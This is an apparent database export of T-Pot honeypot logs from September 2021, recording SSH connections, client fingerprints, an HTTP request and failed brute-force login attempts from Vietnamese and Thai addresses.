23968	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:23.696506+03	2021-09-20 14:15:08.18647+03	{"_id": "-wbkAnwBvYTbRNuEihAg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2803c0f1e2f5", "@version": "1", "timestamp": "2021-09-20T11:08:23.696506Z", "@timestamp": "2021-09-20T11:08:23.696Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23969	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:08:24.377635+03	2021-09-20 14:15:08.188471+03	{"_id": "_AbkAnwBvYTbRNuEjBCB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2034186364375369, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37776, "dest_port": 22, "timestamp": "2021-09-20T11:08:24.377635Z", "@timestamp": "2021-09-20T11:08:24.377Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23970	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:24.796098+03	2021-09-20 14:15:08.18947+03	{"_id": "AwbkAnwBvYTbRNuEjhEH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [edi/edi] failed", "session": "2803c0f1e2f5", "@version": "1", "password": "edi", "username": "edi", "timestamp": "2021-09-20T11:08:24.796098Z", "@timestamp": "2021-09-20T11:08:24.796Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23971	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:24.79695+03	2021-09-20 14:15:08.19147+03	{"_id": "CAbkAnwBvYTbRNuEjhEI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "16fb460ab473", "@version": "1", "duration": 2.6655499935150146, "timestamp": "2021-09-20T11:08:24.796950Z", "@timestamp": "2021-09-20T11:08:24.796Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23972	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:24.831966+03	2021-09-20 14:15:08.19247+03	{"_id": "CQbkAnwBvYTbRNuEjhEI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [support/password] failed", "session": "4541dede7521", "@version": "1", "password": "password", "username": "support", "timestamp": "2021-09-20T11:08:24.831966Z", "@timestamp": "2021-09-20T11:08:24.831Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23973	124.121.6.234	109.199.241.180	Suricata	2021-09-20 14:08:25.603726+03	2021-09-20 14:15:08.193471+03	{"_id": "EwbkAnwBvYTbRNuEkBFq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/", "length": 9652, "status": 200, "protocol": "HTTP/1.0", "http_method": "GET", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "124.121.6.234", "asn": 17552, "as_org": "True Internet Co.,Ltd.", "latitude": 13.7663, "location": {"lat": 13.7663, "lon": 100.6503}, "timezone": "Asia/Bangkok", "city_name": "Bangkok", "longitude": 100.6503, "postal_code": "10240", "region_code": "10", "region_name": "Bangkok", "country_name": "Thailand", "country_code2": "TH", "country_code3": "TH", "continent_code": "AS"}, "proto": "TCP", "tx_id": 0, "src_ip": "124.121.6.234", "dest_ip": "192.168.20.116", "flow_id": 481250744272915, "@version": "1", "in_iface": "enp5s0", "src_port": 32818, "dest_port": 80, "timestamp": "2021-09-20T11:08:25.603726Z", "@timestamp": "2021-09-20T11:08:25.603Z", "event_type": "http", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	http	\N	\N
23974	124.121.6.234	109.199.241.180	Fatt	2021-09-20 14:08:25.356092+03	2021-09-20 14:15:08.19447+03	{"_id": "FwbkAnwBvYTbRNuEkRFR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "124.121.6.234", "asn": 17552, "as_org": "True Internet Co.,Ltd.", "latitude": 13.7663, "location": {"lat": 13.7663, "lon": 100.6503}, "timezone": "Asia/Bangkok", "city_name": "Bangkok", "longitude": 100.6503, "postal_code": "10240", "region_code": "10", "region_name": "Bangkok", "country_name": "Thailand", "country_code2": "TH", "country_code3": "TH", "continent_code": "AS"}, "src_ip": "124.121.6.234", "dest_ip": "192.168.20.116", "@version": "1", "protocol": "http", "src_port": 32818, "dest_port": 80, "fatt_http": {"userAgent": "", "requestURI": "/", "requestMethod": "GET", "requestFullURI": "", "requestVersion": "HTTP/1.0", "clientHeaderHash": "d41d8cd98f00b204e9800998ecf8427e", "clientHeaderOrder": ""}, "timestamp": "2021-09-20T11:08:25.356092", "@timestamp": "2021-09-20T11:08:25.356Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	http	\N	\N	\N	\N
23975	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:08:27.049017+03	2021-09-20 14:15:08.196471+03	{"_id": "JAbkAnwBvYTbRNuElRE5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56822, "dest_port": 22, "timestamp": "2021-09-20T11:08:27.049017", "@timestamp": "2021-09-20T11:08:27.049Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23976	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:26.812251+03	2021-09-20 14:15:08.197471+03	{"_id": "LQbkAnwBvYTbRNuElRHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:48228 (192.168.176.2:22) [session: 82de426fe8de]", "session": "82de426fe8de", "@version": "1", "protocol": "ssh", "src_port": 48228, "dest_port": 22, "timestamp": "2021-09-20T11:08:26.812251Z", "@timestamp": "2021-09-20T11:08:26.812Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23977	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:26.823308+03	2021-09-20 14:15:08.198471+03	{"_id": "LgbkAnwBvYTbRNuElRHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:56822 (192.168.176.2:22) [session: f5ecae34b6bd]", "session": "f5ecae34b6bd", "@version": "1", "protocol": "ssh", "src_port": 56822, "dest_port": 22, "timestamp": "2021-09-20T11:08:26.823308Z", "@timestamp": "2021-09-20T11:08:26.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23978	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:26.962094+03	2021-09-20 14:15:08.199471+03	{"_id": "LwbkAnwBvYTbRNuElRHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:49994 (192.168.176.2:22) [session: 7bf7f45872e1]", "session": "7bf7f45872e1", "@version": "1", "protocol": "ssh", "src_port": 49994, "dest_port": 22, "timestamp": "2021-09-20T11:08:26.962094Z", "@timestamp": "2021-09-20T11:08:26.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23979	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:26.698645+03	2021-09-20 14:15:08.20047+03	{"_id": "OAbkAnwBvYTbRNuElRHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "693cefe0bf42", "@version": "1", "duration": 6.164287328720093, "timestamp": "2021-09-20T11:08:26.698645Z", "@timestamp": "2021-09-20T11:08:26.698Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23980	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:26.870087+03	2021-09-20 14:15:08.202471+03	{"_id": "OQbkAnwBvYTbRNuElRHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "82de426fe8de", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:26.870087Z", "@timestamp": "2021-09-20T11:08:26.870Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23981	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:26.877327+03	2021-09-20 14:15:08.203471+03	{"_id": "OgbkAnwBvYTbRNuElRHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f5ecae34b6bd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:26.877327Z", "@timestamp": "2021-09-20T11:08:26.877Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23982	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:26.930064+03	2021-09-20 14:15:08.20447+03	{"_id": "OwbkAnwBvYTbRNuElRHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [free/free] failed", "session": "7c8c3c6da94b", "@version": "1", "password": "free", "username": "free", "timestamp": "2021-09-20T11:08:26.930064Z", "@timestamp": "2021-09-20T11:08:26.930Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23983	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:26.934227+03	2021-09-20 14:15:08.206472+03	{"_id": "PAbkAnwBvYTbRNuElRHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "d30423c30be5", "@version": "1", "duration": 4.62400221824646, "timestamp": "2021-09-20T11:08:26.934227Z", "@timestamp": "2021-09-20T11:08:26.934Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23984	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:26.964824+03	2021-09-20 14:15:08.207471+03	{"_id": "PQbkAnwBvYTbRNuElRHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7bf7f45872e1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:26.964824Z", "@timestamp": "2021-09-20T11:08:26.964Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23985	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:26.994312+03	2021-09-20 14:15:08.209471+03	{"_id": "PgbkAnwBvYTbRNuElRHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "4a49f30d01e7", "@version": "1", "duration": 3.0588302612304688, "timestamp": "2021-09-20T11:08:26.994312Z", "@timestamp": "2021-09-20T11:08:26.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
